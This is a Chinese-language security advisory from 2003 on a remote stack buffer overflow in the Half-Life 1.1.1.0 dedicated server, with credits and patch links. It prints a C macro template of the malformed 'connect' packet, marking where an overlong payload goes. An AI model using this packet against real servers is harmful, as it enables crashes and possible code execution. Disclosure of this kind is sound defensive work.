Half-Life Server远程缓冲区溢出漏洞
发布日期:2003-07-29
更新日期:2003-08-01
受影响系统:Half-Life Half-Life 1.1.1.0
描述:
Half-life是一款在线流行的FPS游戏。
Half-life服务程序不正确处理用户提交请求中参数值,远程攻击者可以利用这个漏洞对游戏服务器进行缓冲区溢出攻击,造成服务器崩溃。
当超长参数传递给加入多人比赛的报文中,并由客户端发送给服务器,如发送类似包含超大参数的包:
#define PAYLOAD [268 chars]
#define BOF "\xff\xff\xff\xff" \
/* 1 */ "connect %d" \
/* 2 */ " %s \"" \
"\\prot\\2" \
"\\unique\\-1" \
"\\raw\\00000000000000000000000000000000" \
"\" \"" \
"\\model\\" MODEL \
"\\topcolor\\" TOPCOLOR \
"\\bottomcolor\\" BOTTOMCOLOR \
"\\rate\\9999.000000" \
"\\cl_updaterate\\20" \
"\\cl_lw\\1" \
"\\cl_lc\\1" \
"\\cl_dlmax\\128" \
"\\hud_classautokill\\1" \
"\\name\\" NAME \
/* 3 */ "\\" PAYLOAD "\\value" \
"\"\n"
由于拷贝到堆栈缓冲中时,Half-Life服务器没有进行正确缓冲区边界检查,可导致发生缓冲区溢出,并进入无限循环,精心构建提交数据可能可能以服务程序权限在系统上执行任意指令。
另外在value字段也存在此缓冲区溢出问题。同样HL.exe也存在拒绝服务问题,不过循环的地址段不同而已。
<*来源:Auriemma Luigi (
aluigi@pivx.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=105950590704304&w=2
*>
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* PIVX提供的临时补丁如下:
Half-Life 1.1.1.0 dedicated server (retail game):
http://www.pivx.com/luigi/patches/hlbof-server-1110-fix.zip
Half-Life 4.1.1.1a dedicated server for Windows:
http://www.pivx.com/luigi/patches/hlbof-server-4111a-fix.zip
厂商补丁:
Half-Life
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://half-life.sierra.com浏览次数:2934
严重程度:0(网友投票)